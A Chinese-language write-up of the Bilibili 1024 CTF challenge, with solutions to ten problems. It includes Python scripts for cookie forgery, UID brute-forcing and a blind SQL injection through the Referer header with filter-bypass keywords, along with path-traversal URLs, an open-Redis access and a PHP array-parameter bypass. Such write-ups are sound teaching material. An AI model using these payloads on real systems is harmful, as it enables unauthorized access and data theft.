关于bilibili首届1024挑战赛的一些记录(解题方法和一些趣事)
各题主要思路
- 1 F12
- 2 修改UA
- 3 猜账号密码 (然后有些人直接拿脚本爆破半天
- 4 把cookie role值改成Administrator的md5
- 5 uid暴力破解
- 6 SQL注入(本来还以为是发邮件,后面会写到
- 7 文件任意读取
- 8 redis
- 9 ???
- 10 目录扫描test.php
详细记录
第一题
F12打开控制台,然后元素那边直接就看得到
第二题
F12打开控制台,UA改成bilibili Security Browser即可
第三题
猜密码,账号为admin,密码 bilibili(没想到这么简单,当时有人爆破半天
第四题
流量器安装个editthiscookie,把cookie的role值改为Administrator的32为小写md5
第五题
查看源码发现有uid,打开后一直+1进行暴力破解
或者使用程序进行暴力破解(点此下载)
前五题一键脚本见此
转载自知乎
链接:https://www.zhihu.com/question/427113420/answer/1540793482
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
import requests
import json
def get_1():
headers = {
'User-Agent': 'bilibili Security Browser',
'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee'
}
response = requests.get('http://45.113.201.36/api/admin', headers=headers).json()
print('第1题答案是:', response['data'])
def get_2():
headers = {
'User-Agent': 'bilibili Security Browser',
'Cookie': 'session = ' + session + ';role=ee11cbb19052e40b07aac0ca060c23ee'
}
response = requests.get('http://45.113.201.36/api/ctf/2', headers=headers).json()
print('第2题答案是:', response['data'])
def get_3():
headers = {
'User-Agent': 'bilibili Security Browser',
'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee',
'Content-Type': 'application/json'
}
data = {
"username": "admin",
"passwd": "bilibili"
}
response = requests.post('http://45.113.201.36/api/ctf/3', headers=headers, data=json.dumps(data)).json()
print('第3题答案是:', response['data'])
def get_4():
headers ={
'User-Agent': 'bilibili Security Browser',
'Cookie': 'session = ' + session + ';role=7b7bc2512ee1fedcd76bdc68926d4f7b'
}
response = requests.get('http://45.113.201.36/api/ctf/4', headers=headers).json()
print('第4题答案是:', response['data'])
def get_5():
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0',
'Cookie': 'session=' + session + '; role=ee11cbb19052e40b07aac0ca060c23ee',
'Referer': 'http://45.113.201.36/user.html'
}
for i in range(100336850, 100336980):
response = requests.get('http://45.113.201.36/api/ctf/5?uid=' + str(i), headers=headers).json() #100336973
if response['data'] != '':
print('第5题答案是:', response['data'])
if __name__ == '__main__':
session = input('填入你的session:')
get_1()
get_2()
get_3()
get_4()
get_5()
第六题
题目结束亦是开始猜到end.php然后整出第10题flag
后来github https://github.com/interesting-1024/end/issues/250 这里有大佬说可能是跟邮件有关,因为25开着,然后就把这个表单复制到了第三题,然后执行
$(document).ready(function () { $('#form').ffform({ animation: 'fade', submitButton: '#submit', validationIndicator: '#validation', errorIndicator: '#error', successIndicator: '#success', 'fields': [{ 'id': 'name', required: true, requiredMsg: 'Name is required', type: 'alpha', validate: true, msg: 'Invalid Name' }, { 'id': 'message', required: false, type: 'text', validate: false, msg: ''}] });});
让邮件插件跑起来,但是少email.php, 然后我就猜single.php是email.php,还下载抓包软件改包,结果11点有大佬说是sql注入。。。
注入脚本如下
转载自github https://github.com/interesting-1024/end/issues/311 榜一的writeup
import requests
import time
import sys
URL = "http://45.113.201.36/blog/single.php?id=1"
payload = "http://45.113.201.36/' oorr IF(ascii(substr((%s),%s,1))=%s,1,0)#"
query = "selselectect hex(flag) from flag limit 1"
rtn = ""
for m in range(1, 40):
for n in '!0123456789ABCDEF?':
n = ord(n)
rps = requests.get(URL, headers={"Referer": payload % (query, m, n)})
if rps.status_code == 503:
while rps.status_code == 503:
rps = requests.get(URL, headers={"Referer": payload % (query, m, n)})
if 'admin' in rps.text:
if n == ord('!'):
exit(0)
rtn += chr(n)
try:
print(rtn.decode('hex'))
except Exception:
pass
break
if n == ord('?'):
exit(0)
第七题
在前几题的源码中发现
http://45.113.201.36/api/images?file=banner.png
文件读取api?
尝试http://45.113.201.36/api/images?file=flag.txt
404....
继续尝试,直到
http://45.113.201.36/api/images?file=../../../flag7.txt
这也藏得太深了吧
第八题
使用nmap扫描服务器发现6379开着
尝试使用redis链接
进去后发现存在flag8
读取后,提交,正确
(然后后来也不知道谁没事干往里面乱塞其他题目的错误flag,设置干扰项?
第九题(没人解出来)
参考大佬的题解
访问http://45.113.201.36/api/images?file=secret.txt
得到
SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==
进行一次base64解密
JDFX6QfrqzRPSmX0N61M89ipWYtJV/pBQTBOYaXQuG8fArrun3WKxWFZGwNn21cG
使用AES128 ECB模式,秘钥是aes_key,zero_padding解密得到结果
flag9-8b522546-e52d83b8-5682e05c-c8cb237c
为什么知道秘钥是aes_key?
来自某位大佬的截图
将83b92f73637ab8056346bb6b8a3af6d9840e8bb0.jpg
与ae10c97f6de1129abb00b5c961394336.jpg进行一次diff比较
diff -a 83b92f73637ab8056346bb6b8a3af6d9840e8bb0.jpg ae10c97f6de1129abb00b5c961394336.jpg
会在一堆乱码之中得到提示
this is the key of secret.txt : aes_key
而ae10c97f6de1129abb00b5c961394336.jpg这个文件是怎么来的呢?
其实就是讲一开始得到的神秘代码串
SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw==
进行一次MD5加密即可得到文件名ae10c97f6de1129abb00b5c961394336.jpg
无与伦比的脑洞啊
第十题
最后一题猜end.php
打开返回 这里啥都没有 emm
使用扫描工具发现test.php
打开发现一堆jsfuck
console执行后
var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
var str2 = "bilibili1024havefun";
console.log()
解密后第一题为:程序员最多的地方
猜到github
在github搜索bilibili1024havefun
发现仓库interesting-1024/end,获得end.php的源码
<?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);
//文件路径猜解
if (false){
echo "还差一点点啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在这儿~";
}
?>
根据php源码得知,end.php需要传输两个路径参数id与url
!is_numeric($_GET['id'])要求传入的值不是数字;
and $reg !== 1 and $str === 1要求传入的值能被intval解析为1
故构建路径参数id[]=1
根据前面所得的flag.txt的地址,构建URI为/blog/end.php?id[]=1&url=/flag.txt
拼接URL访问获得一张图片
用记事本打开,发现flag10
总结
本次bilibili挑战赛堪称脑洞大赛,其中679题最难,当时有人还做出了爆破flag的脚本,甚至连分布式都搞出来了,我也是服了,其他没啥可说的了
文章部分参考自
https://www.smartfox.cc/archives/4169/
github仓库(已删除)
附 github仓库部分截图